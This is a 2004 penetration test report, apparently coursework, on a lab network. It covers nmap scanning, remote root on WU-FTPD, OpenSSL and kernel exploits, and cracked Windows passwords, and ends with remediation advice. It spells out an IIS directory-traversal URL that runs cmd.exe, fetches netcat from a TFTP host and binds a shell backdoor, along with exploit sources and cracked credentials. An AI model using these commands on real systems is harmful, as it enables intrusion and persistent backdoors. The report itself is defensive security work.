Penetration Test Report

Client: Logically Insecure / 2BIO706

Date of test: 23/04/2004

D I S C L A I M E R

This report is intended only for the use of the individual or entity
to which it is addressed and may contain information that is privileged,
confidential and exempt from disclosure under applicable law. If the
reader of this disclaimer is not the intended recipient, you are hereby
notified that any dissemination, distribution or copying of this
document is strictly prohibited. If you received this document in
error, please notify us immediately by telephone and return the original
document to us at the post address below.

Thank you

Foobar Security, Inc. - Univ. of Westminster, Harrow, HA1 3TP, UK

Contents

1 Introduction to the penetration test 5

1.1 Some definitions . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.2 Motivation of an attacker . . . . . . . . . . . . . . . . . . . . . 6
1.3 Legal and ethical issues . . . . . . . . . . . . . . . . . . . . . . 6

2 The penetration test 8

2.1 LogicallyInsecure.com Network . . . . . . . . . . . . . . . . . 8
2.2 Footprinting . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.3 GNU/Linux hosts . . . . . . . . . . . . . . . . . . . . . . . . . 10
2.3.1 FTP service . . . . . . . . . . . . . . . . . . . . . . . . 10
2.3.2 OpenSSL . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.3.3 Linux Kernel . . . . . . . . . . . . . . . . . . . . . . . 11
2.3.4 Other vulnerabilities and issues . . . . . . . . . . . . . 12
2.4 Windows hosts . . . . . . . . . . . . . . . . . . . . . . . . . . 13
2.4.1 IIS vulnerability . . . . . . . . . . . . . . . . . . . . . . 13
2.4.2 User accounts and password . . . . . . . . . . . . . . . 14
2.4.3 Shared directories . . . . . . . . . . . . . . . . . . . . . 15
2.5 SunOS host . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

3 Conclusions and recommendations 17

3.1 General overview . . . . . . . . . . . . . . . . . . . . . . . . . 17
3.2 Recommended actions . . . . . . . . . . . . . . . . . . . . . . 18

4 Appendices 21
4.1 Appendix A . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
4.1.1 Output of the fping command . . . . . . . . . . . . . . 21
4.1.2 Output of the Nmap scan for each IP . . . . . . . . . . 22
4.2 Appendix B . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
4.2.1 Connection to telnet on 10.0.10 . . . . . . . . . . . . . 31
4.2.2 Banner of FTP service . . . . . . . . . . . . . . . . . . 31
4.2.3 Output of FTP exploit . . . . . . . . . . . . . . . . . . 32

2
 4.2.4 Adding the ssh public key . . . . . . . . . . . . . . . . 32
4.2.5 Exploit of Apache with OpenSSL . . . . . . . . . . . . 33
4.2.6 Shell of the apache user . . . . . . . . . . . . . . . . . 34
4.2.7 Version of the Linux kernel . . . . . . . . . . . . . . . . 34
4.2.8 Out put of finger (showing our presence) . . . . . . . . 34
4.2.9 Local exploit of ptrace vulnerabilities in Linux . . . . . 34
4.3 Appendix C . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
4.3.1 Listing of the current working directory . . . . . . . . . 35
4.3.2 Host 10.0.0.11 . . . . . . . . . . . . . . . . . . . . . . . 36
4.3.3 Host 10.0.0.12 . . . . . . . . . . . . . . . . . . . . . . . 36
4.3.4 Host 10.0.0.14 . . . . . . . . . . . . . . . . . . . . . . . 37
4.3.5 Host 10.0.0.16 . . . . . . . . . . . . . . . . . . . . . . . 37
4.3.6 Host 10.0.0.18 . . . . . . . . . . . . . . . . . . . . . . . 37
4.3.7 Host 10.0.0.19 . . . . . . . . . . . . . . . . . . . . . . . 38
4.3.8 Host 10.0.0.20 . . . . . . . . . . . . . . . . . . . . . . . 38

3
Chapter 1

Introduction to the penetration

test

The aim of this penetration test is to help the administrator of the com-
pany to secure the network. Although this report contains technical terms,
it has been written so that a non-initiated reader with a basic knowledge
of computing would understand it. However, references to more technical
content, to be found in the appendices, is given along the test report for
the administrator and security consultant of Logically Secure to review them
and possibly reproduce the test. Should the reader meet difficulties at un-
derstanding the penetration test report, going directly to the “Conclusions
and Recommendations” section will give him the executive information. For
further help, we remain open to answer any of your questions.

In order to increase the understanding of the reader, some definitions and

clarifications are given in the following sections.

1.1 Some definitions

• Hacker: word given by the masse media to define what we will more
accurately call attacker or intruder in this report.

• Vulnerability: a bug in computer program that may be abused to

gain privileges on a computer.

• Exploit: a program or strategy to exploit a vulnerability. Depend-

ing on the vulnerability, an exploit may be either local, in which a
previous “local” access to the target computer is required prior gain

4
 higher privileges, or remote where the exploit can be run without this
prerequisite.
• Rootkit: a set of programs replacing the tools, that an administrator
would generally use to detect the presence of an intruder, by modified
versions detecting everything but the presence and activities of the
intruder, thus making the administrator confident that the system is
free of any intrusions.

1.2 Motivation of an attacker

There are mainly three reasons why someone might want to penetrate
your network.
• Information theft: to steal valuable information of your business
such as contracts, documents or e-mail communication. In other words,
information that, for example, competitors may like to know.
• Identity theft: by using your network as relay to attack other net-
works, an attacker can mask his identity.
• Challenge to overcome: to most attackers, your network represents
a challenge that must be conquered or a way to prove their supperior
intelligence and technical skills.
Understanding the psychology of an attacker helps considering why your
network is at risk whenever it is connected to the Internet and how to pro-
tect it. Indeed, whatever the final motivation really is, gaining access to
a network always remains a challenge for an attacker. Though intruding a
network is rewarding for his ego, failing to gain the access brings a high level
of frustration. An attacker, usually, doesn’t give up easily and will try, again
and again, by any means, to get all kind of information that might be useful
to detect weaknesses and mount attacks.

Therefore, while performing the penetration test, we have been through

the same stages as an attacker would have, even though our strategy or tools
might be slightly differ.

1.3 Legal and ethical issues

The penetration test has been limited to the boundaries set in the con-
tract. During our investigation, we have been able to access confidential

5
material of your business or of your users. In order to check the presence
of viruses in this material, we have been required to pass through a virus
scanner all the files that we had access to. No files have been directly open,
prior to asking your written permission. The only materials we have left your
office with, are our notes and scan reports which will remain confidential. A
copy of them has been given to your security officer before we left your office.

6
Chapter 2

The penetration test

To proceed to the test, the following hardware was brought to your office
with your authorisation:
• 1 desktop PC, running Windows 2000
• 1 laptop computer, running Debian GNU/Linux 3.0
As a security practice, to avoid interfering with penetration test previ-
ously run with these machines, we have formated their hard disks and done a
clean and up-to-date install of their operating system, prior to plug them to
your network. While connected to your network, we have used the IP adresses
10.0.0.113 and 10.0.0.114, respectively for the Windows desktop PC and the
Debian GNU/Linux laptop. To guarantee no leakage, from our machines,
of information related to the penetration test itself, or to your network in
general, their hard disks have again been safely formated before we left your
office.

2.1 LogicallyInsecure.com Network

From the information given by the network administrator and detailed in
the contract, the machines concerned by the test were those within the IP
range 10.0.0.1-10.0.0.50. We have therefore limited our investigation exclu-
sively to these adresses.

2.2 Footprinting
Prior to any penetration attempts, the very first thing that an attacker
needs to do is gathering as many information as possible. Our first goal in

7
this process of footprinting has been to find the machines connected to the
given network. The usual method to perform this search consists in sending
a kind of polite “hello” (technically called an ICMP echo request) to each IP
address of the network and wait for an answer1 . The IP adresses answering
to the request are then considered as being ’up’.

To be more efficient in this first step, we have opted for the use of fping
[FPING], a program to ping hosts in parallel. With the following command,
we mean to send one single request to each IP address of the given range.

fping -a c1 -g 10.0.0.1 10.0.0.50

The output of the command is the list of IP adresses considered to be up

and can be found in the appendix A. The test returned 15 IP adresses to be
up: 10.0.0.10, 10.0.0.11, 10.0.0.12, 10.0.0.14, 10.0.0.15, 10.0.0.16, 10.0.0.18,
10.0.0.19, 10.0.0.20, 10.0.0.21 and 10.0.0.38.

We have then performed a scan targetting each of this IP addresses to

determine the running operating system and open TCP ports on each host.
For this purpose, we have used Nmap [NMAP], a network scanning tool.
The following command means to scan the TCP ports and try guessing the
operating system of the hosts we found at the previous stage.

nmap -O 10.0.0.{10,11,12,14,15,16,18,19,20,21,38}

The output is also to be found in the appendix A. The detected operat-

ing systems have been grouped into three categories, as show in the following
table.

Windows 10.0.0.11, 10.0.0.12, 10.0.0.14, 10.0.0.16

10.0.0.18, 10.0.0.19, 10.0.0.20
GNU/Linux 10.0.0.10, 10.0.0.15, 10.0.0.21
SunOS 10.0.0.38

Although the scanner was not positive for the operating system of the host
with IP address 10.0.0.12, a tool used later on during the test has proved the
1
This echo request is generally known as a “ping”, from the name of the program
commonly used to perform such requests.

8
machine is indeed running Windows.

Once grouped with regards to their operating system, we decided to start

the further stages of footprinting on the GNU/Linux hosts.

2.3 GNU/Linux hosts

The TCP port scan on the host 10.0.0.10 has revealed numerous services
to be running (see appendix A). One of them, telnet (a terminal emulation
program allowing remote use and administration), advertises the name and
version of the GNU/Linux operating system in its banner when a connection
to it is initiated and therefore helped us to know that the machine is run-
ning Red Hat Linux 7.0 (Guinness). This release is known to suffer of many
vulnerabilities due to security holes in services.

The next stage was to verify if these services had been updated to non-
affected versions where the bugs responsible for the security holes have been
fixed.

2.3.1 FTP service

We opened a connection to the ftp service (used to transfer files over the
network) to, once again, get the banner to advertise the name of the program
handling ftp connections and its version (see appendix B). This has revealed
the use of WU-FTPD, version 2.6.1.

This version number is concerned by a vulnerability [CA-2001-33] pub-

lished in November 2001 and allowing to gain, through a remote exploit,
access with the privileges of the user running the service.

However, we can not blindly rely on version numbers to determine the

presence of a vulnerability. Indeed, it is also possible that a patch correcting
the security hole had been applied to the ftp program within the same version
instead of upgrading to a newer and not-affected release.

Therefore we have tried to use this vulnerability by running an exploit

downloaded from the following address: http://www.the-mathclub.net/
~bind/wux.c
The output of the exploit is to be found in appendix B.

9
 Running the exploit has successfully given us remote access, as root, to
the machine and proved the vulnerability. Although this means that we had
already gained full control of the machine, we also added our ssh public key
to the set of authorized keys of the root account, thus allowing us more conve-
nient and passwordless access through the ssh service (a program for logging
into a remote machine and for executing commands on a remote machine).

To make it clear, this exactly means that it has been possible, since
November 2001, to remotely gain full control of this machine by running
exploits made available to anybody on the web.

2.3.2 OpenSSL
The machine is running a web server on port 80 and also features “secure
HTTP” (HTTP over SSL) on port 443. By pointing our web browser to
the URL https://10.0.0.10 and looking at the page info, we have been
able to learn that the version number of the SSL library employed for that
service is 0.9.6. This version suffers of a vulnerability [CA-2002-23] dis-
covered in July 2002 and allowing remote exploit as well. We have down-
loaded an exploit for this vulnerability from the following address: http://
packetstormssecurity.nl/0209-exploits/openssl-too-open.tar.gz and
run it against the machine.

The exploit successfully gave us access as the apache user (the user that
the web server is run by). The file handling user accounts (i.e, /etc/passwd )
of the system shows us that the apache user can not run a shell. This means
that we can not setup a passwordless ssh access as we did in the previous
attack. However, at this point we have already the ability to modify the
web content or to shut down the web server. Furthermore, even though the
privileges of the apache user may seem quite limited, we will see in the next
section how this first “step in” has been used to gain higher privileges by
running a local exploit. The output of the previously claimed facts is to be
found in appendix B.

2.3.3 Linux Kernel

The previously cited exploits enabled us to find that the Linux kernel ver-
sion on this hist is 2.2.26, after typing the uname -r command. This version
is vulnerable to a local exploit [CAN-2003-0127] published in March 2003.
This exploit requires a local user account to be run in. Such an account has

10
been already gained from the previous exploit and we have used it to down-
load, compile and run the exploit initially made available at the following
address: http://www.securiteam.com/exploits/5CP0Q0U9FY.html.

To sum up, the previous exploit gave us a user account with limited
privileges from which we have been able to get root privileges by running
this local exploit.

2.3.4 Other vulnerabilities and issues

According to the version of Sendmail (a mail service running on this host)
shipped with this Red Hat Linux 7.0 operating system and after veification
on the web site of the distributor, up to four vulnerabilities [BID-3163],
[RHSA-2003-073], [RHSA-2003-120], [BID-5122] in this service could lead
to remote exploits giving root privileges. Also according to the version of
ssh, up to six vulnerabilities [BID-5093], [BID-4241], [BID-4560], [BID-8628],
[BID-3614], [BID-2347], could be locally or remotely exploited in the ssh ser-
vice to gain root privileges.

For these two services, we haven’t tried to exploit any of these vulner-
abilities because of the time constraints but, moreover, because the general
insecurity of this machine has been clearly demonstrated.
It appears that obviously too many useless services are running on this
host. Here are a few examples and their consequences:

• telnet: however ssh is aimed at replacing it and is indeed already in-

stalled, telnet is still in use. A consequence of using telnet over ssh
for remote administration is that any data communicated to the ser-
vice such as passwords to logging in are sent non-encrypyted over the
network and can therefore potentially be sniffed.

• finger : this service is of no use but to give a potential attacker useful

information such as which users are logged in or when they logged
in last (the output of finger showing that we were connected as root
from our host 10.0.0.114 can be seen in appendix B). Knowing that the
admin is currently logged in or that he has not logged in for ages is a
priceless information for an attacker

We have been informed by the administrator that the same password is

being used for the root account on all GNU/Linux machines. Even though
running these exploits did not give us this password, having now access to

11
the file containing its encrypted version (ie, /etc/shadow ), we could crack it
with a tool such as john [JOHN]. Since the other three GNU/Linux machines
are running ssh, we would then be able to login to each of them as root.

2.4 Windows hosts

2.4.1 IIS vulnerability
The port scan has reported a web server running on the host with the IP
address 10.0.0.14. By using our web browser to point to the adress

http://10.0.0.14/

and then by looking at the info page we were able to find that the running
web server was indeed Microsoft IIS 5.0.

This version suffers of a vulnerability [BID-1806] published in October

2000 and allowing to remotely execute commands on the target host via a
web browser. To run the exploit, we have tried the following URL, which
embeds the dir command (used to the list the currently working directory),
in our web browser:

http://10.0.0.14/scripts/..\%c0\%af../winnt/system32/cmd.exe?
/c+dir

The output of the command is indeed the expected directory listing, thus
proving the vulnerability. (see appendix C for the output). Since we were
able to remotely execute commands by embedding them in the URL, we used
this opportunity to install a backdoor by performing the following two stages:

• Download of the Netcat tool [NETCAT] from a TFTP server.

URL: http://10.0.0.14/scripts/..%c0%af../winnt/system32/cmd.
exe?/c+tftp+10.0.0.200+GET+nc.exe
• Start of Netcat to bind the command interpreter to the TCP port 5432.
URL: http://10.0.0.14/scripts/..%c0%af../winnt/system32/cmd.
exe?/c+nc.exe+-l+-p+5432+-e+cmd.exe
Having done that, we can use Netcat on our side to connect to the backdoor,
thus remotely getting full control of the machine.

12
2.4.2 User accounts and password
We then ran GFI Languard [GFI-LANGUARD] (a Network Security
Scanner) on the network, to gather precious information about the hosts
on the network, especially the existing user accounts. The generated report,
which is to be found in the attached CDROM, reports a number of issues
such as unused user accounts, some of them with administrator privileges.

Since many of these several user accounts that GFI Languard has de-
tected in the different hosts had the same (or similar) name, we guessed that
they might also have the same password. Using our remote backdoor on the
host 10.0.0.14, we ran the pwdump tool to get the encrypted passwords of its
users. Although this passwords are encrypted, we cracked them with john
and obtained the following list:

User Password
dhiraj dhiraj
groupb groupb
ucar ucar
chadaburls chadhab
jones.m l
administrator ncc1701
user d
anderson.c e
user passwor
adams.t mistert
backup d1

Given these passwords, we have been able to connect through the VNC
service (a graphical remote administration tool) to all the other hosts and
gain administrator privileges with the following user accounts and passwords:

Host IP Address User Account Password

10.0.0.11 administrator ncc1701
10.0.0.12 adams.t mistert
10.0.0.16 administrator ncc1701
10.0.0.18 adams.t mistert
10.0.0.18 admin ncc1701
10.0.0.19 adams.t ncc1701
10.0.0.20 adams.t mistert

13
 At this point we had gained full control of all the Windows machines. We
have taken this advantage to obtain the encrypted passwords of each system
and to crack them with john. All the accounts we were able to crack for each
host are to be found in appendix C. As far as the strength of these pass-
words is concerned, we can tell that a brute force attack (trying all possible
combinations) would have very quickly given us access with administrator
privileges in many cases. Indeed some password were just one single charac-
ter or the same as the user name.

2.4.3 Shared directories

Using gnomba [GNOMBA] (a graphical tool to browse shared directories),
we have found some publicly available (ie, not password-protected) shared
directories. After only quickly browsing the content of this directories, we
have detected the following issues:

• Songs belonging to Caroline Anderson such as “Westlife.mp3”, “More

Westlife.mp3” or “Even More West life.mp3” could help an attacker to
guess that her password is “westlif”.

• Users home directories are readable, thus allowing to retrieve valuable

documents and information of the company or of the users themself.

• These shared directories are writable, thus allowing to change the users
profile (NTUSER.dat file) to, for example, have them starting malicious
programs or backdoors.

• A virus has been found hidden in a file that is called “password.txt” to

attract any users who tend to open any files with intriguing names.

2.5 SunOS host

We have detected some vulnerabilities in the services running on the
SunOS host (IP address 10.0.0.38). The ftp and smtp (mail) services that
come with this version 2.6 of SunOS are reported [BID-3581], [BID-2550],
[BID-2308] to be vulnerable. However, these vulnerabilities might well be
false-positive because all of them need to be tested (by running exploits)
prior to confirming them. Since we could not find any published exploits,
we have been unable to run the tests and therefore we can not be positive

14
regarding these vulnerabilities.

The telnet service shipped with this version of SunOS as well as the print
service suffer of vulnerabilities [SecuriTeam], [NACS]. However, while trying
different exploits, we were unable to gain any access. However, this does not
mean that the services are secure, we may guess that they had been updated.

Regarding this host, we have also noticed numbers of services (similar

to the GNU/Linux host 10.0.0.10) that are of no use but to give valuable
information to any potential attacker and also some services such as telnet
or rlogin that should no longer be used because they let critical credentials
(login and passwords to connect to the host) traveling in the clear over the
network where they could be sniffed. Such services should be replaced by ssh
which encrypts communication data.

The reports generated by the GFI Languard tool and by Nessus [NESSUS]
(another security scanner) are to be found in the attached CDROM. Al-
though, they advertise hundreds of security holes on your network, their
report must be carefully read and interpreted, as many false-positive are to
be considered.

15
Chapter 3

Conclusions and
recommendations

3.1 General overview

We have run this penetration test in a very limited period of time and
couldn’t therefore detect all the security holes that a longer test would have
allowed to. However, the picture drawn by our investigation shows far enough
security issues to determine that the situation is currently critical. Indeed,
besides one host (the SunOS server1 ), all machines on your network have been
proved to be vulnerable and some of them even through several different at-
tacks. Technical issues such as security holes contained in running services
are a source of vulnerability while a poor management of user accounts, pass-
words and permissions has brought an additional layer of insecurity.

The most significant issue is that some vulnerabilities have been present
for many years. For instance, a security hole in the ftp service running on
the GNU/Linux host 10.0.0.10 was exploitable since November 2001 while
another one in the web service of the Windows machine 10.0.0.14 could have
been used as far back as October 2000. Furthermore, we have demonstrated
that the information, such as encrypted passwords, gained through those
two exploits are, in practice, enough to further compromise all the remaining
GNU/Linux and Windows machines with, indeed, an extreme ease.

To make things clear, it has been feasable to remotely gain access to all
your machines for the past three years. This means that it is truly possible
1
However we haven’t found any exploitable vulnerability to gain access to it (partially
due to the time constraint), we can not claim that this host is not vulnerable to attacks

16
that someone has been monitoring all your computer-based activities and
stealing your electronic material (documents, e-mails, accounting, etc) for
this period of time. This also means that even if we were to investigate all
your machines (to determine if this possibility is indeed the true reality) and
turned out to find no such evidences, we would still be unable to claim that
your network is truly free of any compromission, since the elapsed period
would have given any potential attacker enough time to properly delete all
traces and then hide himself with clever backdoors and rootkits. For security
reasons, we strongly recommend you to consider the worst case scenario - in
other words, that all machines on your network have already been compro-
mised - prior to carry out the relevant actions with regards to this critical
situation.

3.2 Recommended actions

By “relevant actions”, we ideally recommend to go through the following
steps:

• Backing Up: do a backup on tape or CD of all the data that you

consider to be needed for your business and double check that what you
back up does not contain any viruses. Do not backup any programs, as
they may contain backdoors (their reinstallation will need to be done
from the original medium).

• Requirements learning: get to learn what services your business re-

quires you to run on the network as well as which users require to get
access to which systems or shared directories and with which permis-
sions.

• Cleaning: after formating the hard disks, do a clean install, limit the
services, accesses and permission to what has been defined as truly
required during the previous stage. Make sure that all running services
are up-to-date.

• Monitoring and being up-to-date: monitor your network activity

(especially at the gateway) to detect unusual activities. Check the
integrity of your servers file systems to detect unexpected modification
or addition of files that could turn out to be backdoors or rootkits.

17
 • Educating: tell the users (from their angle) why such measures are
required and what are the consequences of poor security management
for the business but also for them (privacy and confidentiality of their
information, documents, e-mails, etc).
However going through these steps would be ideal to carry out this crit-
ical mission, we appreciate that, from a business continuity point of view,
this exact plan is not appropriate and we must define where the priorities are.

As far as the back up stage is concerned, it remains the highest prior-

ity since your business data are truly at risk. Once these data have been
saved and checked to be free from any viruses, check that you are in posses-
sion of the original installation medium for all the software required by your
users. Prior to any reinstallation of systems, create a list of the services that
your business requires. If this list is not complete, be confident that your
users will soon notice missing services after the reinstallation and inform you.

Although these tasks will not improve immediatly the security of your
network, they are a solid basement to the further stage: a clean reinstalla-
tion. We advise you to start by reinstalling the gateway, because this host is
where an attacker would sniff all your communication to the outside world (ie,
Internet) such as e-mails. You should then reinstall the GNU/Linux servers
as this task will only disrupt some services for a certain period of time but
not completely avoid users to work. The more critical task comes next and
consists in reinstalling the users workstations. You should start with the
users who need less software and special settings. As their reinstallation will
be shorter than others, you will get more potentially compromised machines
out of the network quickly. Finally, generate relatively hard-to-crack pass-
words (containing both alphanumerical and non-alphanumerical characters)
for your users and introduce them to the need of more stronger passwords.

At this point, your network will hopefully be secure. However, if you want
to avoid the same critical situation to happen again, you are to monitor your
network, check the integrity of your servers file systems and keep yourself
informed of security updates for the services you are running. We appreciate
that all of this might seem quite difficult to achieve on a day-to-day basis
and therefore our company has created a security service to which our clients
can subscribe and in which we offer the following options:

• Net. Activity MonitoringTM : we install the relevant network sen-

sors software on your network, analyse the daily reports and contact

18
 you in case an unusual activity has been detected

• FileSys IntegrityTM : we install tripwire (the most renowned file sys-

tem integrity checker) on your servers, analyse the reports and deal
with you in case an integrity violation is detected. (Please note that,
to guarantee the efficiency of this option, we require to install tripwire
straight after the installation of the system and before the machine is
ever plugged to the network)

• Up2Date Services: after you have provided us with the list of services
you are running and the software you are using for that purpose (e.g.,
apache for the web), we will contact you when security patches are to
be applied and give you advices.

All of this is done remotely from our office through a secure connection.
All information about your network is kept confidential.

After all these is in place, we recommend to run another penetration test

in order to find possible issues left over and to be addressed. Through a cycle
of test, report and correction run on a regular basis, we shall not only bring
but, moreover, keep your company network to a high level of security.

19
Chapter 4

Appendices

4.1 Appendix A
4.1.1 Output of the fping command
fping -a -c1 -g 10.0.0.1 10.0.0.50
10.0.0.10
10.0.0.11
10.0.0.12
10.0.0.14
10.0.0.16
10.0.0.18
10.0.0.19
10.0.0.20
10.0.0.21
10.0.0.38

20
4.1.2 Output of the Nmap scan for each IP
4.1.2.1 Host 10.0.0.10
Interesting ports on 10.0.0.10:
(The 1645 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open rpcbind
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm
Device type: general purpose
Running: Linux 2.1.X|2.2.X
OS details: Linux 2.1.19 - 2.2.25
Uptime 0.231 days (since Fri Apr 23 10:47:10 2004)

21
4.1.2.2 Host 10.0.0.11
Interesting ports on OTTO (10.0.0.11):
(The 1642 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop3
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1080/tcp open socks
1433/tcp open ms-sql-s
3128/tcp open squid-http
5800/tcp open vnc-http
5900/tcp open vnc
8080/tcp open http-proxy
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release

22
4.1.2.3 Host 10.0.0.12
Interesting ports on LENNY (10.0.0.12):
(The 1649 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
21/tcp open ftp
42/tcp open nameserver
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
1029/tcp open ms-lsa
5800/tcp open vnc-http
5900/tcp open vnc
No exact OS matches for host (If you know what OS is running on it, see http:
TCP/IP fingerprint:
SInfo(V=3.50%P=i686-pc-windows-windows%D=4/23%Time=4089343A%O=21%C=1)
TSeq(Class=TD%gcd=1%SI=0%IPID=BI%TS=U)
TSeq(Class=TD%gcd=1%SI=4%IPID=BI%TS=U)
TSeq(Class=TD%gcd=1%SI=0%IPID=BI%TS=U)
T1(Resp=Y%DF=Y%W=2017%ACK=S++%Flags=AS%Ops=M)
T2(Resp=N)
T3(Resp=N)
T4(Resp=N)
T5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=N)
T7(Resp=N)
PU(Resp=Y%DF=N%TOS=0%IPLEN=38%RIPTL=148%RIPCK=E%UCK=E%ULEN=134%DAT=E)

23
4.1.2.4 Host 10.0.0.14
Interesting ports on KARL (10.0.0.14):
(The 1632 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
23/tcp open telnet
25/tcp open smtp
42/tcp open nameserver
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
515/tcp open printer
636/tcp open ldapssl
1026/tcp open LSA-or-nterm
1029/tcp open ms-lsa
1080/tcp open socks
1083/tcp open ansoft-lm-1
1084/tcp open ansoft-lm-2
1112/tcp open msql
1755/tcp open wms
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3372/tcp open msdtc
3389/tcp open ms-term-serv
5800/tcp open vnc-http
5900/tcp open vnc
6666/tcp open irc-serv
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release

24
4.1.2.5 Host 10.0.0.15
Interesting ports on kodos (10.0.0.15):
(The 1655 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
81/tcp open hosts2-ns
222/tcp open rsh-spx
441/tcp open decvms-sysmgt
800/tcp open mdbs_daemon
Device type: general purpose
Running: Linux 2.4.X
OS details: Linux 2.4.6 - 2.4.21
Uptime 2.288 days (since Wed Apr 21 09:25:49 2004)

4.1.2.6 Host 10.0.0.16

Interesting ports on KANG (10.0.0.16):
(The 1653 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1027/tcp open IIS
5800/tcp open vnc-http
5900/tcp open vnc
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release

4.1.2.7 Host 10.0.0.18

Interesting ports on MONTY (10.0.0.18):
(The 1654 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
5800/tcp open vnc-http
5900/tcp open vnc
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release

25
4.1.2.8 Host 10.0.0.19
Interesting ports on WAYLON (10.0.0.19):
(The 1653 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1027/tcp open IIS
5800/tcp open vnc-http
5900/tcp open vnc
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release

26
4.1.2.9 Host 10.0.0.20
Interesting ports on WINDOWS_2000_SV (10.0.0.20):
(The 1631 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
7/tcp open echo
9/tcp open discard
13/tcp open daytime
17/tcp open qotd
19/tcp open chargen
21/tcp open ftp
25/tcp open smtp
42/tcp open nameserver
53/tcp open domain
80/tcp open http
119/tcp open nntp
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
515/tcp open printer
548/tcp open afpovertcp
563/tcp open snews
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1029/tcp open ms-lsa
1040/tcp open netsaint
1755/tcp open wms
3372/tcp open msdtc
3389/tcp open ms-term-serv
5800/tcp open vnc-http
5900/tcp open vnc
6666/tcp open irc-serv
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release

27
4.1.2.10 Host 10.0.0.21
Interesting ports on 10.0.0.21:
(The 1656 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
6000/tcp open X11
Device type: general purpose
Running: Linux 2.4.X
OS details: Linux 2.4.6 - 2.4.21
Uptime 0.270 days (since Fri Apr 23 09:52:12 2004)

28
4.1.2.11 Host 10.0.0.38
Interesting ports on 10.0.0.38:
(The 1631 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
37/tcp open time
79/tcp open finger
111/tcp open rpcbind
512/tcp open exec
513/tcp open login
514/tcp open shell
515/tcp open printer
540/tcp open uucp
1103/tcp filtered xaudio
4045/tcp open lockd
6000/tcp open X11
6112/tcp open dtspc
7100/tcp open font-service
32771/tcp open sometimes-rpc5
32772/tcp open sometimes-rpc7
32773/tcp open sometimes-rpc9
32774/tcp open sometimes-rpc11
32775/tcp open sometimes-rpc13
32776/tcp open sometimes-rpc15
32777/tcp open sometimes-rpc17
32778/tcp open sometimes-rpc19
Device type: general purpose
Running: Sun Solaris 2.X|7
OS details: Sun Solaris 2.6 - 7 (SPARC)
Uptime 0.988 days (since Thu Apr 22 16:38:49 2004)

29
4.2 Appendix B
4.2.1 Connection to telnet on 10.0.10
telnet 10.0.0.10
Trying 10.0.0.10...
Connected to 10.0.0.10.
Escape character is ’^]’.

Red Hat Linux release 7.0 (Guinness)

Kernel 2.2.16-22 on an i686
login:

4.2.2 Banner of FTP service

ncftp 10.0.0.10
NcFTP 3.1.5 (Oct 13, 2002) by Mike Gleason ([email protected]).
Connecting to 10.0.0.10...
10.0.0.10 FTP server ready.
Logging in...
Welcome to the FTP server - WU-FTPD-2.6.1
[...]

30
4.2.3 Output of FTP exploit
#./wu -t0
wux.c - linux x86 wuftpd <= 2.6.1 remote root exploit
written by bind <[email protected]>

targets:
-t1 wu-2.6.1-18 redhat 7.2 (Enigma)
-t2 wu-2.6.1-16 redhat 7.1 (Seawolf)
-t3 wu-2.6.1(1) redhat 7.0 (Guinness)
-t4 wu-2.6.0(1) redhat 6.2 (Zoot)
-t5 wu-2.6.0(1) redhat 6.2 (Zoot) default
-t6 wu-2.5.0(1) redhat 6.1 (Cartman)
-t7 wu-2.6.0(1) slackware 7.1.0
-t8 wuftpd nudge

#./wu -t3 10.0.0.10

wux.c - linux x86 wuftpd <= 2.6.1 remote root exploit
written by bind <[email protected]>

exploiting wu-2.6.1(1) redhat 7.0 (Guinness)

using 81 byte shellcode

